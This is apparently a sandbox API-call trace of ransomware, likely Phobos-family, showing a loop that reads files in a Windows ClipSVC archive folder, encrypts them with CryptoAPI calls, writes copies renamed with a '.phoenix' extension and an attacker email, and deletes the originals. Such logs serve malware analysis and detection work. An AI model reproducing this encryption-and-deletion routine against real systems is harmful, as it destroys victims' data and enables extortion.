	[0245.324] CryptDestroyKey (hKey=0x151200) returned 1
	[0245.324] CloseHandle (hObject=0x2c8) returned 1
	[0245.324] CloseHandle (hObject=0x2f0) returned 1
	[0245.324] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\67447b0c-05cf-6740-5f7b-391ab440c42d.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\67447b0c-05cf-6740-5f7b-391ab440c42d.xml")) returned 1
	[0245.325] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0245.325] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\71ef3df1-f4b1-69cd-793a-48e165e282aa.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\71ef3df1-f4b1-69cd-793a-48e165e282aa.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0245.326] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3229) returned 1
	[0245.326] CloseHandle (hObject=0x2f0) returned 1
	[0245.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\71ef3df1-f4b1-69cd-793a-48e165e282aa.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\71ef3df1-f4b1-69cd-793a-48e165e282aa.xml")) returned 0x20
	[0245.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\71ef3df1-f4b1-69cd-793a-48e165e282aa.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\71ef3df1-f4b1-69cd-793a-48e165e282aa.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0245.326] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\71ef3df1-f4b1-69cd-793a-48e165e282aa.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\71ef3df1-f4b1-69cd-793a-48e165e282aa.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0245.327] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0245.327] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0245.327] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\71ef3df1-f4b1-69cd-793a-48e165e282aa.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\71ef3df1-f4b1-69cd-793a-48e165e282aa.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0245.327] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151440) returned 1
	[0245.327] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0245.327] ReadFile (in: hFile=0x2f0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xc9d, lpOverlapped=0x0) returned 1
	[0245.396] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xca0, dwBufLen=0xca0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xca0) returned 1
	[0245.396] WriteFile (in: hFile=0x2c8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xca0, lpOverlapped=0x0) returned 1
	[0245.397] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151500) returned 1
	[0245.397] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0245.397] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0245.397] CryptDestroyKey (hKey=0x151500) returned 1
	[0245.397] WriteFile (in: hFile=0x2c8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0245.397] CryptDestroyKey (hKey=0x151440) returned 1
	[0245.397] CloseHandle (hObject=0x2f0) returned 1
	[0245.398] CloseHandle (hObject=0x2c8) returned 1
	[0245.398] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\71ef3df1-f4b1-69cd-793a-48e165e282aa.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\71ef3df1-f4b1-69cd-793a-48e165e282aa.xml")) returned 1
	[0245.399] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0245.399] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\7309084a-bb6f-20c3-ea54-aa108ceab1ae.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\7309084a-bb6f-20c3-ea54-aa108ceab1ae.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0245.399] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2631) returned 1
	[0245.399] CloseHandle (hObject=0x2c8) returned 1
	[0245.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\7309084a-bb6f-20c3-ea54-aa108ceab1ae.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\7309084a-bb6f-20c3-ea54-aa108ceab1ae.xml")) returned 0x20
	[0245.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\7309084a-bb6f-20c3-ea54-aa108ceab1ae.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\7309084a-bb6f-20c3-ea54-aa108ceab1ae.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0245.399] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\7309084a-bb6f-20c3-ea54-aa108ceab1ae.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\7309084a-bb6f-20c3-ea54-aa108ceab1ae.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0245.399] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0245.399] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0245.400] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\7309084a-bb6f-20c3-ea54-aa108ceab1ae.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\7309084a-bb6f-20c3-ea54-aa108ceab1ae.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0245.400] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151780) returned 1
	[0245.400] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0245.400] ReadFile (in: hFile=0x2c8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xa47, lpOverlapped=0x0) returned 1
	[0245.496] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa50, dwBufLen=0xa50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa50) returned 1
	[0245.496] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xa50, lpOverlapped=0x0) returned 1
	[0245.497] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1510c0) returned 1
	[0245.497] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0245.497] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0245.497] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0245.497] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0245.497] CryptDestroyKey (hKey=0x151780) returned 1
	[0245.497] CloseHandle (hObject=0x2c8) returned 1
	[0245.497] CloseHandle (hObject=0x2f0) returned 1
	[0245.497] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\7309084a-bb6f-20c3-ea54-aa108ceab1ae.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\7309084a-bb6f-20c3-ea54-aa108ceab1ae.xml")) returned 1
	[0245.499] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0245.499] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\8292682a-6850-c06c-9b6d-9646f16d4ed0.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\8292682a-6850-c06c-9b6d-9646f16d4ed0.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0245.500] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2660) returned 1
	[0245.500] CloseHandle (hObject=0x2c8) returned 1
	[0245.500] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\8292682a-6850-c06c-9b6d-9646f16d4ed0.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\8292682a-6850-c06c-9b6d-9646f16d4ed0.xml")) returned 0x20
	[0245.500] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\8292682a-6850-c06c-9b6d-9646f16d4ed0.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\8292682a-6850-c06c-9b6d-9646f16d4ed0.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0245.500] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\8292682a-6850-c06c-9b6d-9646f16d4ed0.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\8292682a-6850-c06c-9b6d-9646f16d4ed0.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0245.500] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0245.500] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0245.500] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\8292682a-6850-c06c-9b6d-9646f16d4ed0.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\8292682a-6850-c06c-9b6d-9646f16d4ed0.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0245.502] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151140) returned 1
	[0245.502] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0245.502] ReadFile (in: hFile=0x2c8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xa64, lpOverlapped=0x0) returned 1
	[0245.552] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa70, dwBufLen=0xa70 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa70) returned 1
	[0245.552] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xa70, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xa70, lpOverlapped=0x0) returned 1
	[0245.553] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151680) returned 1
	[0245.553] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0245.553] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0245.553] CryptDestroyKey (hKey=0x151680) returned 1
	[0245.553] WriteFile (in: hFile=0x2b4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0245.553] CryptDestroyKey (hKey=0x151140) returned 1
	[0245.553] CloseHandle (hObject=0x2c8) returned 1
	[0245.554] CloseHandle (hObject=0x2b4) returned 1
	[0245.554] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\8292682a-6850-c06c-9b6d-9646f16d4ed0.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\8292682a-6850-c06c-9b6d-9646f16d4ed0.xml")) returned 1
	[0245.555] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0245.555] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\865e8f30-20a1-9528-bb48-42999b5b2aa8.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\865e8f30-20a1-9528-bb48-42999b5b2aa8.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0245.555] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2816) returned 1
	[0245.555] CloseHandle (hObject=0x2b4) returned 1
	[0245.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\865e8f30-20a1-9528-bb48-42999b5b2aa8.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\865e8f30-20a1-9528-bb48-42999b5b2aa8.xml")) returned 0x20
	[0245.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\865e8f30-20a1-9528-bb48-42999b5b2aa8.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\865e8f30-20a1-9528-bb48-42999b5b2aa8.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0245.555] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\865e8f30-20a1-9528-bb48-42999b5b2aa8.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\865e8f30-20a1-9528-bb48-42999b5b2aa8.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0245.555] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0245.555] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0245.555] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\865e8f30-20a1-9528-bb48-42999b5b2aa8.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\865e8f30-20a1-9528-bb48-42999b5b2aa8.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0245.556] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151600) returned 1
	[0245.556] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0245.556] ReadFile (in: hFile=0x2b4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xb00, lpOverlapped=0x0) returned 1
	[0245.660] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb10, dwBufLen=0xb10 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb10) returned 1
	[0245.660] WriteFile (in: hFile=0x2c8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xb10, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xb10, lpOverlapped=0x0) returned 1
	[0245.661] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1513c0) returned 1
	[0245.661] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0245.661] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0245.661] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0245.661] WriteFile (in: hFile=0x2c8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0245.661] CryptDestroyKey (hKey=0x151600) returned 1
	[0245.661] CloseHandle (hObject=0x2b4) returned 1
	[0245.661] CloseHandle (hObject=0x2c8) returned 1
	[0245.661] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\865e8f30-20a1-9528-bb48-42999b5b2aa8.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\865e8f30-20a1-9528-bb48-42999b5b2aa8.xml")) returned 1
	[0245.662] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0245.662] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\8ce3d3dd-a4c7-6c38-5fde-1f9f5df98807.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\8ce3d3dd-a4c7-6c38-5fde-1f9f5df98807.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0245.824] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2783) returned 1
	[0245.824] CloseHandle (hObject=0x2b0) returned 1
	[0245.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\8ce3d3dd-a4c7-6c38-5fde-1f9f5df98807.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\8ce3d3dd-a4c7-6c38-5fde-1f9f5df98807.xml")) returned 0x20
	[0245.825] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\8ce3d3dd-a4c7-6c38-5fde-1f9f5df98807.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\8ce3d3dd-a4c7-6c38-5fde-1f9f5df98807.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0245.825] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\8ce3d3dd-a4c7-6c38-5fde-1f9f5df98807.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\8ce3d3dd-a4c7-6c38-5fde-1f9f5df98807.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0245.825] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0245.825] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0245.825] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\8ce3d3dd-a4c7-6c38-5fde-1f9f5df98807.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\8ce3d3dd-a4c7-6c38-5fde-1f9f5df98807.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0245.826] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151740) returned 1
	[0245.826] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0245.826] ReadFile (in: hFile=0x2b0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xadf, lpOverlapped=0x0) returned 1
	[0245.907] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xae0, dwBufLen=0xae0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xae0) returned 1
	[0245.907] WriteFile (in: hFile=0x2c8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xae0, lpOverlapped=0x0) returned 1
	[0245.908] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151680) returned 1
	[0245.908] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
